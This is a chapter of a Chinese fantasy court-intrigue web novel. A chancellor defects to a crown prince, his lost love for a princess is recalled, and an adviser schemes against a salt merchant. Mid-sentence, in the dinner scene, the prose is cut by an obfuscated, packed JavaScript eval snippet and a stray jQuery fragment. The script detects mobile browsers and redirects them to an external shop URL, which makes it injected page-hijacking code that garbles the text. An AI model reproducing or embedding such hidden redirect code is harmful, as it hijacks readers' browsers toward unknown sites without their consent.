徐君延难得表情带着真意,他双手一抬,表示自己绝对不会对顾渊出手,脸上的笑容更是一脸人畜无害。
“在来之前,我的确想过杀了太子殿下,可如今我知道,我杀不了他。”徐君延笑道,“我从来不是君子,苍璐也不是我的主子,背叛他也不算背主弃义。只不过我有一个要求,就是刚才所说,待殿下荣登帝位,迎回十五公主。”
在说最后一句话时,徐君延的声音微微发颤,他似乎想到了以前,那个面容清秀,有些刁蛮的十五公主追在自己身后,嘴里唤着“五羊哥哥……”
苍元夕问过他,为什么号称五羊君?
徐君延有心逗她,便说:“你不是喜欢吃烤羊肉吗,五羊就是能吃更多的烤羊肉。”
苍元夕鼓着腮,娇嗔道:“你骗我!”
没过几日,她又去找徐君延。
“我知道了!”苍元夕坐在徐君延的身边,“你是梦见了‘五羊衔谷’,才号为五羊君。如今江南蜀中均是大旱,百姓颗粒无收,还有妖兽作祟,你也想有仙人骑羊而来,带来谷穗,愿天下再无饿死骨。”
徐君延是孤儿,父母死于妖兽之口,年幼的他被路过的散修无路真人所救,他就随无路真人一起游历修炼,数年后他才知道无路真人是当今圣上的叔叔。
他不知道无路真人的名字,无路真人也只是畅饮后大笑道:“无路亦有路,有路亦无路,我便是无路。”
在徐君延十四岁时,无路真人将他送到建康,托付给当今的圣上,也就是苍离的父亲。
徐君延拜了当朝太傅为师,与贵族子嗣一起学习。太傅只教了徐君延半年,对他的评价是聪慧有才,但却无心。
王公贵族都不愿意与徐君延打交道,那些世家公子们对徐君延更是一脸鄙夷。
只有苍元夕知道,徐君延心怀天下,如今他看透一切,也知自己无力回天,便故作无心之人,没有善心,也没有恶心。
徐君延不愿接受苍元夕的善意,他觉得皇家的善意都太虚伪了。直到元宵佳节,苍元夕捧着一盏八角玲珑塔灯朝他跑来。她手里捧着灯,来到徐君延跟前,气喘吁吁,却扬起晨曦般的笑颜,对他说道:“五羊哥哥,我们一起逛庙会吧。”
那是一抹徐君延不曾遇见的温暖,也是他渴望的温暖。
从此,徐君延对苍元夕有了别样之感。
然而……他亲手撕毁了苍元夕派人送来的婚书,借口想看苍元夕跳起霓裳羽衣之舞,引着南安王遇见了在月色下一舞倾城的苍元夕。
曲终舞尽,苍元夕看着和徐君延一起来的南安王,脸色骤变。
那一刻,她明白了徐君延的用意。
她笑了,还是那如晨曦般的笑颜。
眼中没有苦涩与哀凉,因为此时——她心已死。
果然,南安王向新主苍璐求娶苍元夕为后。
苍璐逼宫是联合了南朝其他三国,其中出兵最多的便是南安国,他当然不会拒绝南安王求娶十五公主。
在送嫁之时,苍璐让徐君延亲手把避子药给了南安王。
南安王只是贪图苍元夕的美色和与苍南国的姻亲关系,有的是女人能为他生孩子,他自然也乐意让苍元夕无子。
为了保护苍元夕,徐君延做了苍璐的幕僚,后又成为了苍南国的丞相,正如他所说,即便如此,他的主子从来都不是苍璐。
他本就是无心之人。
没善心,没恶心。
既然月千歌来了,顾渊就没马上答复徐君延,而是看向月千歌。
月千歌听完,倒是信了徐君延是真心来投诚的。
就像他说的那样,他现在杀不了顾渊。
甚至杀苍璐,比杀顾渊要容易。
月千歌微微一笑,他将手中的食盒放在院子里的石桌上,冲着徐君延道:“丞相大人还未用膳吧,不如吃了再走。”
月千歌这样说,徐君延知道月千歌是接受了他的投诚。来之前,徐君延已经调查清楚顾渊身边的人,出钱的是晋陵郡的盐商,而出谋划策的便眼前这位出尘之人。
“如此,却之不恭了。”徐君延这才进了院子,他之前一直都站在门口处。
月千歌接受了徐君延的投诚,顾渊也不会反对,他紧握着破军的手一松,那剑上的幽光连着杀意一起散去,旋即那把长剑消失在顾渊的手中。
神字一类的法器认了主后可以存于雷泽之滨,它们的主人不用随时将它们佩戴在身上,需要时,召唤出来即可。
月千歌在布菜,都是简单的小炒。布好了菜后,才发现箸碗只有一副,说了一句稍后,月千歌出了院子,不一会儿他再回来时,手上多了一副碗筷。
徐君延见到顾渊身边放着的疯人果,大概猜到他要做什么了。
虽然猜到了,徐君延还是多嘴问了一句。
“殿下是想给城中的家畜喂食疯人果,从而引起建康大乱?”徐君延随手拿起一个疯人果在手中。
“是有这个打算。”
“这个主意倒是不错,引起大乱,围而不攻。”
“不过现在徐相爷都投诚了,想来这疯人果也没用了。”顾渊说道,“丞相大人打算怎么做?”
“擒王。”徐君延将手中疯人果扔回筐里。
顾渊说:“那我在此等着徐相爷的好消息。”
“好。”徐君延走到了院门口处,陡然停了下来。
顾渊还在摆弄着他的疯人果,见徐君延停下脚步,他抬起头看了过去。
徐君延转过身,看着顾渊的目光变得意味深长。
“您……好像不是这里……”他还未说完,就感到一股凉意涌上,这凉意并不是因为周遭气温降低而生,而是血液好像被冻住了一般。
顾渊不解徐君延这未说完的话里意思,面色疑惑道:“不是这里什么?”
“丞相大人不过随口一句,太子殿下何必追问。”月千歌站在一旁,笑容温和,他目光轻柔地看向徐君延,眼睛里的瞳色变淡,在一瞬间近乎成了白色,就像月亮一样。
徐君延这才发现这股凉意的根源来自于月千歌。
他在警告自己。
徐君延是一个惜命的人,面对比自己强大人的警告,他选择听话。
“我只是觉得殿下像我的一位故人,而我那位故人并非建康人士,故而才问出不是这里的人。”徐君延解释道。
徐君延的解释有些牵强,只不过顾渊想着别的事,也没有太在意。既然不用疯人果了,他将疯人果都收了起来,问身旁的月千歌,这些果子怎么办?
月千歌道:“给我吧,我有用。”
“行。”说完,顾渊看着桌上的菜,眼睛亮了,“鱼香肉丝、蟹黄豆腐,花生莲藕猪脚汤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710777|208415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都是我喜欢的。”
安县离建康不远,这里的百姓生活虽不是十分富裕,家常肉菜还是有的。
顾渊扬起嘴角,笑容明媚如阳光,两侧的酒窝更是明显,就像里面酿了桃花酿,不只醉人,还很甜。
这笑容,与苍元夕很像。只不过苍元夕笑容多些柔和,而顾渊脸上的笑容更加明媚。
“你怎么还没走?”顾渊刚拿起筷子,发现徐君延还站在门口。
徐君延:“……”不是说请我用膳吗?
月千歌小声提醒道:“殿下,知礼。”
顾渊想了想,又道:“徐相爷,您怎么还没有离开?”
月千歌:“……”
“呵呵……”徐君延笑出声来。
顾渊没好气睨了他一眼。
顾渊都下了逐客令,徐君延也不在乎这一顿饭,便说道:“那我不打扰殿下了。”
徐君延转身离去,走到院门口时,他不禁又回头看了一眼正在吃饭的顾渊。
真的……
和她好像。
苍元夕并不是很像皇族中人,苍家人似乎从一出生就长了八百个心眼,当坐上皇位后,这八百个心眼都开始疯狂的让他们迅速成为昏君。
而苍元夕却像是太阳,心中无事,只为明日出生,划破黎明黑暗的太阳。
但徐君延在顾渊的脸上,也看见那缕阳光。
不知道为什么,徐君延有一种错觉,顾渊更像是苍元夕的后人。
自己与苍元夕的后人。
徐君延被自己突然冒出来的想法弄笑了,顾渊怎么可能是他与苍元夕的后人?如今苍元夕远嫁南安,固然他心悦那缕暖阳,可他绝对不会做出逾越之事。
徐君延离开安县后,李银玔就晕了过去,这可把李盐商吓得够呛。李盐商赶紧命人去找大夫,大夫探了脉,都摇了摇头,表示无能为力,李盐商只得去求月千歌。
月千歌和顾渊都知道李银玔是中了鬼不语,他将李银钏手中还握住的玉蝉拿走,对李盐商道:“玉蝉一般作为陪葬之物,李小姐应该是戴了这个,鬼气入体,将她送到西郊的城隍庙住两天。”想了想,月千歌又道,“如果李老爷不怕作孽的话,可以为小姐准备一道菜。”
“什么菜?”
“羊羔。”
“哦,好。”李盐商以为是吃小羊作孽。不过有钱人家吃羊羔也不少,就立马让人去准备。
月千歌连忙拦住了他,又道:“是未见天日的羊羔。”
“啊?”李盐商愣住了,没想到还有这么残忍的食材。
“所以我说是作孽。”月千歌微微叹气,似有不忍地说,“未见天日的羊羔乃是大补,而且食之可补充阳气,也可借寿。”
李盐商闻此,也不管作不作孽了,就找人去买怀孕的母羊。
等李盐商走后,顾渊在一旁问月千歌道:“这菜真的能补阳气借寿吗?”
月千歌看向顾渊,迎着顾渊的目光,笑容依旧温柔,只是那温柔中有几分意味深长。
顾渊明白了,月千歌是有意为之。
他想让李盐商引起众怒。
自己为帝,李盐商功劳不小,如果他居功自傲,有所要求,恐怕除了皇位之外,顾渊也不好拒绝他任何事。
因此,月千歌要在顾渊坐上皇位之前,将李盐商从功高的位置上拽下来。